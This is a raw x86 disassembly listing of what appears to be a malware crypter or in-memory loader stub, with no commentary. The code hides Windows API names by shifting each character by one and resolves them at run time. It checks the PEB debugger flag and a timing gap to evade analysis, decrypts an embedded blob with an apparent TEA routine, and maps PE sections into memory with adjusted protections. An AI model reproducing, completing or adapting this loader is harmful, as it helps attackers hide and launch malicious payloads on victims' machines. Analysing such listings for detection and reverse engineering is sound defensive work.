0C0000040h, 7273722Eh, 63h, 2E0h, 38000h, 400h, 0A400h dd 3 dup(0) dd 40000040h, 68h dup(0) ; =============== S U B R O U T I N E ======================================= sub_4178A0 proc near ; CODE XREF: .data:00417E68p push ebp push esp pop ebp push ecx push ecx mov eax, [ebp+8] mov [ebp-8], eax push dword ptr [ebp-8] pop eax mov ecx, [ebp-8] add ecx, [eax+3Ch] mov [ebp-4], ecx push dword ptr [ebp-4] pop eax leave retn sub_4178A0 endp ; --------------------------------------------------------------------------- dw 5455h dd 75FF515Dh, 875FF10h, 0E80C75FFh, 0DEAh, 8D0CC483h, 6A50FC45h dd 1075FF02h, 0FF0C75FFh, 417E9015h, 0CCC3C900h, 2 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp cmp dword ptr [ebp+8], 0 jz short loc_417904 mov eax, [ebp+8] cmp eax, dword_3ECAEC jnz short loc_41790C loc_417904: ; CODE XREF: .data:004178F7j mov eax, dword_3ECAE8 mov [ebp+8], eax loc_41790C: ; CODE XREF: .data:00417902j push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_3ECAE0 pop ebp retn 0Ch ; --------------------------------------------------------------------------- aUtG_1 db 'UT]ƒ}',8,0 dw 0C74h dd 580875FFh, 0CAEC053Bh, 0A75003Eh, 0CAE835FFh, 8958003Eh dd 75FF0845h, 0C75FF10h, 0FF0875FFh, 3ECAE415h, 0CC25D00h dd 5D545500h, 1075FF51h, 0FF0875FFh, 3E300015h, 0FC458900h dd 3E303068h, 0C75FF00h, 0E3BE8h, 85595900h, 684675C0h dd 3E3040h, 0E81075FFh, 0DA6h, 0C0855959h, 75FF1075h, 0E0A358FCh dd 0B8003ECAh, 3E1050h, 546826EBh, 0FF003E30h, 83E81075h dd 5900000Dh, 75C08559h, 0FC458B10h, 3ECAE4A3h, 107F6800h dd 0EB58003Eh, 0FC458B03h db 0C9h, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push dword ptr [ebp+8] pop eax and eax, 80000000h neg eax sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- aUtGJ db 'UT]ƒì$j',0 dw 15FFh dd offset dword_3E3008 aGs db '£èÊ>',0 db 8Bh, 45h, 0Ch aG db '£ìÊ>',0 db 0FFh, 75h, 8 dd 800558h, 45890000h, 0F8458BF8h, 0C75FF50h, 58C88B58h dd 4D890803h, 0FC75FFFCh, 0C788358h, 0F3840F00h, 83000000h dd 8300F465h, 8B00F065h, 75FFFC45h, 4803590Ch, 0E44D890Ch dd 0FFE475FFh, 3E300415h, 0E8458900h, 83FC458Bh, 75000478h dd 0FC75FF14h, 75FF5058h, 0C88B580Ch, 10480358h, 0EBF44D89h dd 0FC75FF0Dh, 0C75FF58h, 89080359h, 75FFF44Dh, 75FF58FCh dd 4803590Ch, 0EC4D8910h, 83F4458Bh, 840F0038h, 80h, 8BE875FFh dd 30FFF445h, 0FFFF35E8h, 0F5959FFh, 0C085C0B6h, 75FF2374h dd 30FF58F4h, 0FFFF2558h, 89660000h, 0B70FE045h, 0FF50E045h dd 15FFE875h, 3E3000h, 0EBF04589h, 0F475FF23h, 0C4D8B58h dd 4D890803h, 0DC458BDCh, 0FF504040h, 75FFE475h, 0FE7BE8E8h dd 0C483FFFFh, 0F045890Ch, 50EC458Bh, 58F075FFh, 8958C88Bh dd 0EC458B08h, 8904C083h, 458BEC45h, 4C083F4h, 0E9F44589h dd 0FFFFFF74h, 83FC458Bh, 458914C0h, 0FEFFE9FCh, 0C3C9FFFFh dd 835D5455h, 45C71CECh, 3779B9E4h, 0F445C79Eh, 20h, 580875FFh dd 895830FFh, 75FFF845h, 408B5808h, 0EC458904h, 0C1E4458Bh dd 458905E0h, 0F475FFE8h, 0F44D8B58h, 0F44D8949h, 860FC085h dd 86h, 0C1F8458Bh, 458904E0h, 0F875FFFCh, 5E8C158h, 8BF04589h dd 4D8B0C45h, 84803FCh, 3F8458Bh, 0C833E845h, 580C75FFh dd 5AF075FFh, 330C5003h, 0EC75FFCAh, 89C12B58h, 75FFEC45h dd 0E0C158ECh, 0FC458904h, 0C1EC458Bh, 458905E8h, 0C458BF0h dd 0FC75FF50h, 58C88B58h, 75FF0803h, 450358ECh, 8BC833E8h dd 75FF0C45h, 50035AF0h, 8BCA3304h, 0C12BF845h, 0FFF84589h dd 2B58E875h, 4589E445h, 0FF67E9E8h, 458BFFFFh, 0EC75FF08h dd 4488959h, 580875FFh, 89F84D8Bh db 8, 0C9h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_417BEF proc near ; CODE XREF: sub_417C82+49p push ebp push esp pop ebp push ecx push ecx and dword ptr [ebp-8], 0 and dword ptr [ebp-4], 0 loc_417BFC: ; CODE XREF: sub_417BEF+43j push 0 lea eax, [ebp-8] push eax push dword ptr [ebp+10h] pop eax sub eax, [ebp-4] push eax push dword ptr [ebp+0Ch] pop eax add eax, [ebp-4] push eax push dword ptr [ebp+8] call dword_417EA4 test eax, eax jnz short loc_417C23 xor al, al jmp short locret_417C38 ; --------------------------------------------------------------------------- loc_417C23: ; CODE XREF: sub_417BEF+2Ej mov eax, [ebp-4] add eax, [ebp-8] mov [ebp-4], eax mov eax, [ebp-8] cmp eax, [ebp+10h] jnz short loc_417BFC mov al, 0 add al, 1 locret_417C38: ; CODE XREF: sub_417BEF+32j leave retn sub_417BEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3A proc near ; CODE XREF: sub_417C82+2Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 loc_417C47: ; CODE XREF: sub_417C3A+42j push 0 lea eax, [ebp+var_8] push eax push [ebp+arg_8] pop eax sub eax, [ebp+var_4] push eax mov eax, [ebp+arg_4] add eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417EA8 test eax, eax jnz short loc_417C6D xor al, al jmp short locret_417C80 ; --------------------------------------------------------------------------- loc_417C6D: ; CODE XREF: sub_417C3A+2Dj mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jnz short loc_417C47 mov al, 1 locret_417C80: ; CODE XREF: sub_417C3A+31j leave retn sub_417C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C82 proc near ; CODE XREF: .data:00417E1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_417C95 ; --------------------------------------------------------------------------- loc_417C8C: ; CODE XREF: sub_417C82+51j push [ebp+var_4] pop eax inc eax inc eax mov [ebp+var_4], eax loc_417C95: ; CODE XREF: sub_417C82+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jnb short locret_417CD5 push 8 push [ebp+var_4] pop eax mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] call sub_417C3A add esp, 0Ch push 8 mov eax, [ebp+var_4] push [ebp+arg_4] pop ecx lea eax, [ecx+eax*4] push eax push [ebp+arg_0] pop eax push dword ptr [eax] call sub_417BEF add esp, 0Ch jmp short loc_417C8C ; --------------------------------------------------------------------------- locret_417CD5: ; CODE XREF: sub_417C82+19j leave retn sub_417C82 endp ; --------------------------------------------------------------------------- db 55h dd 0EC835D54h, 8458B0Ch, 6AF44589h, 0F8458D08h, 0F4458B50h dd 0FCE830FFh, 83FFFFFEh, 0B60F0CC4h, 74C085C0h, 7E7E6827h dd 458D0041h, 5E850F8h, 59FFFFFEh, 8D086A59h, 0FF50F845h dd 0FF58F475h, 1BE80470h, 83FFFFFFh, 0BFEB0CC4h, 0C2C9C033h db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_417D2A proc near ; CODE XREF: .data:00417E29p ; .data:00417E33p push ebp push esp pop ebp mov eax, [ebp+8] push dword ptr [eax] call dword_417E98 mov eax, [ebp+8] push dword ptr [eax+4] call dword_417E98 pop ebp retn sub_417D2A endp ; --------------------------------------------------------------------------- loc_417D46: ; CODE XREF: .data:00417EF8p push ebp push esp pop ebp sub esp, 48h call sub_417F10 mov [ebp-4], eax push dword ptr [ebp-4] pop eax push dword ptr [eax+30h] pop eax mov [ebp-30h], eax mov eax, [ebp-30h] movzx eax, byte ptr [eax+2] test eax, eax jz short loc_417D6F jmp locret_417EF3 ; --------------------------------------------------------------------------- loc_417D6F: ; CODE XREF: .data:00417D68j mov dword_417E7E, 65Bh add dword_417E7E, 70A9h mov dword_417E82, 0DBDh add dword_417E82, 2358h mov dword_417E86, 1791h call sub_418150 mov dword_417E8A, 1785h push 10h push 0 lea eax, [ebp-34h] push eax lea eax, [ebp-1Ch] push eax call dword_417EA0 test eax, eax jnz short loc_417DCB jmp locret_417EF3 ; --------------------------------------------------------------------------- loc_417DCB: ; CODE XREF: .data:00417DC4j push 10h push 0 lea eax, [ebp-18h] push eax lea eax, [ebp-38h] push eax call dword_417EA0 test eax, eax jnz short loc_417DE6 jmp locret_417EF3 ; --------------------------------------------------------------------------- loc_417DE6: ; CODE XREF: .data:00417DDFj lea eax, [ebp-8] push eax push 0 lea eax, [ebp-38h] push eax push offset byte_3E1437 push 0 push 0 call off_417E9C mov [ebp-3Ch], eax call dword_3E3010 mov [ebp-10h], eax mov eax, dword_3ECAD7 shr eax, 2 push eax push offset loc_3E4000 lea eax, [ebp-1Ch] push eax call sub_417C82 add esp, 0Ch lea eax, [ebp-1Ch] push eax call sub_417D2A pop ecx lea eax, [ebp-38h] push eax call sub_417D2A pop ecx push dword ptr [ebp-3Ch] call dword_417E98 call dword_3E3010 mov [ebp-0Ch], eax lea eax, [ebp-2Ch] push eax call dword_3E300C movzx eax, word ptr [ebp-26h] cmp eax, 64h jle short loc_417E63 jmp locret_417EF3 ; --------------------------------------------------------------------------- loc_417E63: ; CODE XREF: .data:00417E5Cj push offset loc_3E4000 call sub_4178A0 pop ecx mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jz short locret_417EF3 push dword ptr [ebp-14h] pop eax mov eax, [eax+34h] ; --------------------------------------------------------------------------- dword_417E7E dd 0FFBC4589h ; sub_3E5546+33w ... dword_417E82 dd 0FF58EC75h ; sub_3E5546+47w ... dword_417E86 dd 75FF5470h ; .data:00417D97w dword_417E8A dd 400068BCh ; .data:00417DA6w dw 3Eh dword_417E90 dd 0FFFA29E8h ; sub_3E58BA+8Ar ... dword_417E94 dd 0CC483FFh ; sub_418150+359w dword_417E98 dd 68BC75FFh ; sub_3E552A+14r ... off_417E9C dd offset loc_3E4000 ; DATA XREF: sub_3E5546+B3r ; sub_3E5950+37Dw ... dword_417EA0 dd 0E8EC75FFh ; sub_3E5546+91r ... dword_417EA4 dd 78h ; sub_3E5950+3A1w ... dword_417EA8 dd 0FF0CC483h ; sub_3E5950+3B3w ... dd 0EDE8BC75h, 59FFFFF9h, 83C04589h, 7400C07Dh, 0BC75FF36h dd 0E8C075FFh, 0FFFFFB0Eh, 75FF5959h, 0C075FFBCh, 1E5E8h dd 0FF595900h, 0FF58D075h, 8959BC75h, 75FF0848h, 75FF58ECh dd 480359BCh, 0B84D8928h db 0FFh, 55h, 0B8h ; --------------------------------------------------------------------------- locret_417EF3: ; CODE XREF: .data:00417D6Aj ; .data:00417DC6j ... leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp call loc_417D46 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F10 proc near ; CODE XREF: .data:00417D4Cp push ebp mov ebp, esp push large dword ptr fs:18h pop eax pop ebp retn sub_417F10 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 28h mov eax, [ebp+8] add eax, 0F8h mov [ebp-0Ch], eax push dword ptr [ebp+8] pop eax mov ax, [eax+6] mov [ebp-8], ax push dword ptr [ebp-0Ch] pop eax mov [ebp-4], eax and word ptr [ebp-10h], 0 jmp short loc_417F57 ; --------------------------------------------------------------------------- loc_417F4B: ; CODE XREF: .data:00417FE9j mov ax, [ebp-10h] add ax, 1 mov [ebp-10h], ax loc_417F57: ; CODE XREF: .data:00417F49j movzx eax, word ptr [ebp-10h] movzx ecx, word ptr [ebp-8] cmp eax, ecx jge locret_417FEE movzx eax, word ptr [ebp-10h] imul eax, 28h push dword ptr [ebp-4] pop ecx push dword ptr [eax+ecx+8] pop eax mov [ebp-24h], eax movzx eax, word ptr [ebp-10h] imul eax, 28h push dword ptr [ebp-4] pop ecx push dword ptr [eax+ecx+10h] pop eax mov [ebp-14h], eax push dword ptr [ebp-24h] pop eax cmp eax, [ebp-14h] jnb short loc_417F9E mov eax, [ebp-24h] mov [ebp-28h], eax jmp short loc_417FA4 ; --------------------------------------------------------------------------- loc_417F9E: ; CODE XREF: .data:00417F94j mov eax, [ebp-14h] mov [ebp-28h], eax loc_417FA4: ; CODE XREF: .data:00417F9Cj mov eax, [ebp-28h] mov [ebp-18h], eax movzx eax, word ptr [ebp-10h] imul eax, 28h mov ecx, [ebp-4] push dword ptr [ebp+10h] pop edx add edx, [eax+ecx+0Ch] mov [ebp-1Ch], edx movzx eax, word ptr [ebp-10h] imul eax, 28h mov ecx, [ebp-4] push eax push dword ptr [ebp+0Ch] pop eax mov edx, eax pop eax add edx, [eax+ecx+14h] mov [ebp-20h], edx push dword ptr [ebp-18h] push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] call sub_4186BA add esp, 0Ch jmp loc_417F4B ; --------------------------------------------------------------------------- locret_417FEE: ; CODE XREF: .data:00417F61j leave retn ; =============== S U B R O U T I N E ======================================= sub_417FF0 proc near ; CODE XREF: .data:00418137p push ebp push esp pop ebp push ecx and dword ptr [ebp-4], 0 mov eax, [ebp+8] and eax, 4000000h jz short loc_41800D mov eax, [ebp-4] or eax, 200h mov [ebp-4], eax loc_41800D: ; CODE XREF: sub_417FF0+10j mov eax, [ebp+8] and eax, 20000000h jz short loc_418068 push dword ptr [ebp+8] pop eax and eax, 40000000h jz short loc_418044 push dword ptr [ebp+8] pop eax and eax, 80000000h jz short loc_418038 mov eax, [ebp-4] or eax, 40h mov [ebp-4], eax jmp short loc_418042 ; --------------------------------------------------------------------------- loc_418038: ; CODE XREF: sub_417FF0+3Bj push dword ptr [ebp-4] pop eax or eax, 20h mov [ebp-4], eax loc_418042: ; CODE XREF: sub_417FF0+46j jmp short loc_418066 ; --------------------------------------------------------------------------- loc_418044: ; CODE XREF: sub_417FF0+30j push dword ptr [ebp+8] pop eax and eax, 80000000h jz short loc_41805D push dword ptr [ebp-4] pop eax or eax, 80h mov [ebp-4], eax jmp short loc_418066 ; --------------------------------------------------------------------------- loc_41805D: ; CODE XREF: sub_417FF0+5Dj mov eax, [ebp-4] or eax, 10h mov [ebp-4], eax loc_418066: ; CODE XREF: sub_417FF0:loc_418042j ; sub_417FF0+6Bj jmp short loc_4180B4 ; --------------------------------------------------------------------------- loc_418068: ; CODE XREF: sub_417FF0+25j push dword ptr [ebp+8] pop eax and eax, 40000000h jz short loc_418094 mov eax, [ebp+8] and eax, 80000000h jz short loc_418089 push dword ptr [ebp-4] pop eax or eax, 4 mov [ebp-4], eax jmp short loc_418092 ; --------------------------------------------------------------------------- loc_418089: ; CODE XREF: sub_417FF0+8Bj mov eax, [ebp-4] or eax, 2 mov [ebp-4], eax loc_418092: ; CODE XREF: sub_417FF0+97j jmp short loc_4180B4 ; --------------------------------------------------------------------------- loc_418094: ; CODE XREF: sub_417FF0+81j push dword ptr [ebp+8] pop eax and eax, 80000000h jz short loc_4180AA mov eax, [ebp-4] or eax, 8 mov [ebp-4], eax jmp short loc_4180B4 ; --------------------------------------------------------------------------- loc_4180AA: ; CODE XREF: sub_417FF0+ADj push dword ptr [ebp-4] pop eax or eax, 1 mov [ebp-4], eax loc_4180B4: ; CODE XREF: sub_417FF0:loc_418066j ; sub_417FF0:loc_418092j ... push dword ptr [ebp-4] pop eax leave retn sub_417FF0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1Ch push dword ptr [ebp+8] pop eax add eax, 0F8h mov [ebp-0Ch], eax push dword ptr [ebp+8] pop eax mov ax, [eax+6] mov [ebp-8], ax mov eax, [ebp-0Ch] mov [ebp-4], eax and word ptr [ebp-10h], 0 jmp short loc_4180F1 ; --------------------------------------------------------------------------- loc_4180E5: ; CODE XREF: .data:0041814Aj mov ax, [ebp-10h] add ax, 1 mov [ebp-10h], ax loc_4180F1: ; CODE XREF: .data:004180E3j movzx eax, word ptr [ebp-10h] movzx ecx, word ptr [ebp-8] cmp eax, ecx jge short locret_41814C movzx eax, word ptr [ebp-10h] imul eax, 28h push dword ptr [ebp-4] pop ecx push dword ptr [ebp+0Ch] pop edx add edx, [eax+ecx+0Ch] mov [ebp-18h], edx movzx eax, word ptr [ebp-10h] imul eax, 28h mov ecx, [ebp-4] push dword ptr [eax+ecx+8] pop eax mov [ebp-1Ch], eax lea eax, [ebp-14h] push eax movzx eax, word ptr [ebp-10h] imul eax, 28h mov ecx, [ebp-4] push dword ptr [eax+ecx+24h] call sub_417FF0 pop ecx push eax push dword ptr [ebp-1Ch] push dword ptr [ebp-18h] call dword_417E90 jmp short loc_4180E5 ; --------------------------------------------------------------------------- locret_41814C: ; CODE XREF: .data:004180FBj leave retn ; --------------------------------------------------------------------------- dw 0CCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418150 proc near ; CODE XREF: .data:00417DA1p var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = byte ptr -66h var_65 = byte ptr -65h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_61 = byte ptr -61h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = byte ptr -5Eh var_5D = byte ptr -5Dh var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = byte ptr -5Ah var_58 = byte ptr -58h var_57 = byte ptr -57h var_56 = byte ptr -56h var_55 = byte ptr -55h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = byte ptr -44h var_43 = byte ptr -43h var_42 = byte ptr -42h var_41 = byte ptr -41h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_33 = byte ptr -33h var_32 = byte ptr -32h var_31 = byte ptr -31h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 push ebp mov ebp, esp sub esp, 84h push offset dword_3E3070 call dword_3E3008 mov [ebp+var_10], eax mov [ebp+var_68], 4Ch add [ebp+var_68], 0Bh mov [ebp+var_67], 6Ah mov [ebp+var_66], 73h mov [ebp+var_65], 75h mov [ebp+var_64], 76h mov [ebp+var_63], 62h mov [ebp+var_62], 6Dh mov [ebp+var_61], 51h mov [ebp+var_60], 73h mov [ebp+var_5F], 70h mov [ebp+var_5E], 75h mov [ebp+var_5D], 52h add [ebp+var_5D], 14h mov [ebp+var_5C], 41h add [ebp+var_5C], 23h mov [ebp+var_5B], 75h mov [ebp+var_5A], 0 mov [ebp+var_48], 1Ch add [ebp+var_48], 2Ch mov [ebp+var_47], 63h add [ebp+var_47], 3 mov [ebp+var_46], 1 add [ebp+var_46], 74h mov [ebp+var_45], 4Eh mov [ebp+var_44], 5 add [ebp+var_44], 6Bh mov [ebp+var_43], 47h add [ebp+var_43], 1Eh mov [ebp+var_42], 5Ch add [ebp+var_42], 1Ah mov [ebp+var_41], 5Ch add [ebp+var_41], 11h mov [ebp+var_40], 66h mov [ebp+var_3F], 29h add [ebp+var_3F], 20h mov [ebp+var_3E], 62h mov [ebp+var_3D], 38h add [ebp+var_3D], 37h mov [ebp+var_3C], 65h mov [ebp+var_3B], 6Dh mov [ebp+var_3A], 66h mov [ebp+var_39], 42h mov [ebp+var_38], 0 mov [ebp+var_28], 44h mov [ebp+var_27], 5Bh add [ebp+var_27], 12h mov [ebp+var_26], 70h mov [ebp+var_25], 74h mov [ebp+var_24], 66h mov [ebp+var_23], 1Ah add [ebp+var_23], 2Fh mov [ebp+var_22], 62h mov [ebp+var_21], 67h add [ebp+var_21], 8 mov [ebp+var_20], 65h mov [ebp+var_1F], 6Dh mov [ebp+var_1E], 0Ah add [ebp+var_1E], 5Ch mov [ebp+var_1D], 0 mov [ebp+var_58], 44h mov [ebp+var_57], 61h add [ebp+var_57], 12h mov [ebp+var_56], 66h mov [ebp+var_55], 0 add [ebp+var_55], 62h mov [ebp+var_54], 30h add [ebp+var_54], 45h mov [ebp+var_53], 66h mov [ebp+var_52], 55h mov [ebp+var_51], 1Eh add [ebp+var_51], 4Bh mov [ebp+var_50], 16h add [ebp+var_50], 5Dh mov [ebp+var_4F], 58h add [ebp+var_4F], 0Eh mov [ebp+var_4E], 62h mov [ebp+var_4D], 65h mov [ebp+var_4C], 0 mov [ebp+var_1C], 0 add [ebp+var_1C], 44h mov [ebp+var_1B], 73h mov [ebp+var_1A], 0Eh add [ebp+var_1A], 58h mov [ebp+var_19], 62h mov [ebp+var_18], 64h add [ebp+var_18], 11h mov [ebp+var_17], 66h mov [ebp+var_16], 1Ah add [ebp+var_16], 37h mov [ebp+var_15], 51h add [ebp+var_15], 19h mov [ebp+var_14], 4Fh add [ebp+var_14], 22h mov [ebp+var_13], 66h mov [ebp+var_12], 0 mov [ebp+var_34], 53h mov [ebp+var_33], 66h mov [ebp+var_32], 5Dh add [ebp+var_32], 5 mov [ebp+var_31], 57h add [ebp+var_31], 0Eh mov [ebp+var_30], 6 add [ebp+var_30], 41h mov [ebp+var_2F], 67h add [ebp+var_2F], 3 mov [ebp+var_2E], 6Dh mov [ebp+var_2D], 66h mov [ebp+var_2C], 0 mov [ebp+var_C], 58h mov [ebp+var_B], 73h mov [ebp+var_A], 30h add [ebp+var_A], 3Ah mov [ebp+var_9], 38h add [ebp+var_9], 3Dh mov [ebp+var_8], 45h add [ebp+var_8], 21h mov [ebp+var_7], 26h add [ebp+var_7], 21h mov [ebp+var_6], 5Eh add [ebp+var_6], 0Ch mov [ebp+var_5], 6Bh add [ebp+var_5], 2 mov [ebp+var_4], 2 add [ebp+var_4], 64h mov [ebp+var_3], 0 lea eax, [ebp+var_68] mov [ebp+var_6C], eax loc_418365: ; CODE XREF: sub_418150+235j push [ebp+var_6C] pop eax movsx eax, byte ptr [eax] test eax, eax jz short loc_418387 push [ebp+var_6C] pop eax movsx eax, byte ptr [eax] dec eax mov ecx, [ebp+var_6C] mov [ecx], al push [ebp+var_6C] pop eax inc eax mov [ebp+var_6C], eax jmp short loc_418365 ; --------------------------------------------------------------------------- loc_418387: ; CODE XREF: sub_418150+21Ej lea eax, [ebp+var_48] mov [ebp+var_70], eax loc_41838D: ; CODE XREF: sub_418150+25Cj mov eax, [ebp+var_70] movsx eax, byte ptr [eax] test eax, eax jz short loc_4183AE push [ebp+var_70] pop eax movsx eax, byte ptr [eax] dec eax mov ecx, [ebp+var_70] mov [ecx], al push [ebp+var_70] pop eax inc eax mov [ebp+var_70], eax jmp short loc_41838D ; --------------------------------------------------------------------------- loc_4183AE: ; CODE XREF: sub_418150+245j lea eax, [ebp+var_28] mov [ebp+var_74], eax loc_4183B4: ; CODE XREF: sub_418150+288j push [ebp+var_74] pop eax movsx eax, byte ptr [eax] test eax, eax jz short loc_4183DA push [ebp+var_74] pop eax movsx eax, byte ptr [eax] dec eax push eax push [ebp+var_74] pop eax mov ecx, eax pop eax mov [ecx], al mov eax, [ebp+var_74] inc eax mov [ebp+var_74], eax jmp short loc_4183B4 ; --------------------------------------------------------------------------- loc_4183DA: ; CODE XREF: sub_418150+26Dj lea eax, [ebp+var_58] mov [ebp+var_78], eax loc_4183E0: ; CODE XREF: sub_418150+2AFj mov eax, [ebp+var_78] movsx eax, byte ptr [eax] test eax, eax jz short loc_418401 push [ebp+var_78] pop eax movsx eax, byte ptr [eax] dec eax push [ebp+var_78] pop ecx mov [ecx], al mov eax, [ebp+var_78] inc eax mov [ebp+var_78], eax jmp short loc_4183E0 ; --------------------------------------------------------------------------- loc_418401: ; CODE XREF: sub_418150+298j lea eax, [ebp+var_1C] mov [ebp+var_7C], eax loc_418407: ; CODE XREF: sub_418150+2DBj mov eax, [ebp+var_7C] movsx eax, byte ptr [eax] test eax, eax jz short loc_41842D push [ebp+var_7C] pop eax movsx eax, byte ptr [eax] dec eax push eax push [ebp+var_7C] pop eax mov ecx, eax pop eax mov [ecx], al push [ebp+var_7C] pop eax inc eax mov [ebp+var_7C], eax jmp short loc_418407 ; --------------------------------------------------------------------------- loc_41842D: ; CODE XREF: sub_418150+2BFj lea eax, [ebp+var_34] mov [ebp+var_80], eax loc_418433: ; CODE XREF: sub_418150+300j mov eax, [ebp+var_80] movsx eax, byte ptr [eax] test eax, eax jz short loc_418452 mov eax, [ebp+var_80] movsx eax, byte ptr [eax] dec eax mov ecx, [ebp+var_80] mov [ecx], al mov eax, [ebp+var_80] inc eax mov [ebp+var_80], eax jmp short loc_418433 ; --------------------------------------------------------------------------- loc_418452: ; CODE XREF: sub_418150+2EBj lea eax, [ebp+var_C] mov [ebp+var_84], eax loc_41845B: ; CODE XREF: sub_418150+338j mov eax, [ebp+var_84] movsx eax, byte ptr [eax] test eax, eax jz short loc_41848A push [ebp+var_84] pop eax movsx eax, byte ptr [eax] dec eax mov ecx, [ebp+var_84] mov [ecx], al mov eax, [ebp+var_84] inc eax mov [ebp+var_84], eax jmp short loc_41845B ; --------------------------------------------------------------------------- loc_41848A: ; CODE XREF: sub_418150+316j lea eax, [ebp+var_68] push eax push [ebp+var_10] call dword_3E3000 mov dword_417E90, eax lea eax, [ebp+var_48] push eax push [ebp+var_10] call dword_3E3000 mov dword_417E94, eax lea eax, [ebp+var_28] push eax push [ebp+var_10] call dword_3E3000 mov dword_417E98, eax lea eax, [ebp+var_58] push eax push [ebp+var_10] call dword_3E3000 mov off_417E9C, eax lea eax, [ebp+var_1C] push eax push [ebp+var_10] call dword_3E3000 mov dword_417EA0, eax lea eax, [ebp+var_34] push eax push [ebp+var_10] call dword_3E3000 mov dword_417EA4, eax lea eax, [ebp+var_C] push eax push [ebp+var_10] call dword_3E3000 mov dword_417EA8, eax leave retn sub_418150 endp ; --------------------------------------------------------------------------- dw 0CCCCh dd 0CCCCCCCCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp cmp dword ptr [ebp+8], 41h jl short loc_418527 cmp dword ptr [ebp+8], 5Ah jg short loc_418527 mov eax, [ebp+8] add eax, 20h jmp short loc_41852A ; --------------------------------------------------------------------------- loc_418527: ; CODE XREF: .data:00418517j ; .data:0041851Dj mov eax, [ebp+8] loc_41852A: ; CODE XREF: .data:00418525j pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp cmp dword ptr [ebp+8], 61h jl short loc_418543 cmp dword ptr [ebp+8], 7Ah jg short loc_418543 mov eax, [ebp+8] sub eax, 20h jmp short loc_418546 ; --------------------------------------------------------------------------- loc_418543: ; CODE XREF: .data:00418533j ; .data:00418539j mov eax, [ebp+8] loc_418546: ; CODE XREF: .data:00418541j pop ebp retn ; --------------------------------------------------------------------------- dd 2 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp pop ebp retn ; --------------------------------------------------------------------------- dw 0CCCCh dd 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418560 proc near ; CODE XREF: .data:0041858Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] push 0 call dword_3E3018 push eax call dword_3E3014 mov [ebp+var_4], eax push [ebp+var_4] pop eax leave retn sub_418560 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push dword ptr 